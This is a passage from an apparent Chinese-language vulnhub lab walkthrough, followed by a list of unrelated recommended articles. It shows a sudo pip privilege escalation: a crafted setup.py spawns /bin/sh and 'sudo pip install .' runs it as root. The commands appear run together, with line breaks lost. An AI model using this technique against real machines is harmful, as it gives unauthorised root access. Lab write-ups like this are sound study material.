文章插圖
發現了pip命令不需要root密碼即可執行，那我們就用pip的root權限安裝一個shell的程序，成功獲取到 root 權限，查看 flag 。
mkdir upfinecd upfineecho "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.pysudo pip install .
文章插圖
文章插圖
推薦閱讀
- 盾之勇者成名錄：浪潮綿綿技能效果是什么
- 消除兩個inline-block元素之間的間隔
- 諾亞之心風暴試煉51層打法是什么
- vulnhub靶場之EMPIRE
- 我的Vue之旅 07 Axios + Golang + Sqlite3 實現簡單評論機制
- Tomcat 調優之從 Linux 內核源碼層面看 Tcp backlog
- 【算法訓練營day7】LeetCode454. 四數相加II LeetCode383. 贖金信 LeetCode15. 三數之和 LeetCode18. 四數之和
- 地下城堡3：魂之詩10月9日禮包兌換碼是什么
- vulnhub靶場|NAPPING: 1.0.1
- flutter系列之:builder為構造器而生